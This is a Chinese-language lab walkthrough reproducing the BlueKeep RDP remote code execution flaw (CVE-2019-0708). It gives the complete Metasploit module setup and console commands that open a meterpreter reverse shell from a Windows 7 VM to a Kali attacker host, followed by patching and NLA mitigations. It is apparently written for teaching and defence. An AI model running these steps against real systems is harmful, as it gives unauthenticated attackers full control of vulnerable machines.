cve-2019-0708远程桌面代码执行漏洞复现

1.影响版本

Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

2.漏洞描述

   Microsoft Windows中存在远程桌面执行代码漏洞，该漏洞源于Microsoft Remote Desktop Services中存在输入验证错误漏洞，网络系统或产品未对输入的数据进行正确的验证。当未经身份验证的攻击者使用 RDP 连接到目标系统并发送经特殊设计的请求时，远程桌面服务（以前称为“终端服务”）中存在远程执行代码漏洞。此漏洞是预身份验证，无需用户交互。成功利用此漏洞的攻击者可以在目标系统上执行任意代码。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。

3.环境准备

镜像：Windows 7 （下载不到的直接私信我，我给你发）
攻击机器：Kali 192.168.157.130
受害机器：win7 sp1:192.168.157.143

4.漏洞复现

1)在Vmware中安装镜像，受害主机开启远程桌面连接服务

2）配置msf，将exp放置到msf对应文件夹下，如果同名直接覆盖（以Kali为例）

rdp.rb -> /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
rdp_scanner.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cve_2019_0708_bluekeep.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cve_2019_0708_bluekeep_rce.rb ->/opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

3）加载攻击模块，配置参数

[e-mail]:~# msfconsole
msf5 > reload_all # 加载0708exp
msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhost 192.168.157.143
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set lhost 192.168.157.130
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set lport 1919
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 2
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

4)攻击成功，获取shell

使用show targets可查看相关选项，设置target我选2，虽然应该选择3，3是VMware，可是选择3会使得目标蓝屏，选2才能反弹shell

5.漏洞修复

1）及时去微软官网打对应系统的安全补丁；
2）关闭3389端口或添加防火墙安全策略限制对3389端口的访问；
3）打不了补丁的可以开启远程桌面（网络级别身份验证(NLA)），可以临时防止漏洞攻击。
免责声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。禁止任何人转载到其他站点，禁止用于任何非法用途。如有任何人凭此做何非法事情，均于笔者无关，特此声明。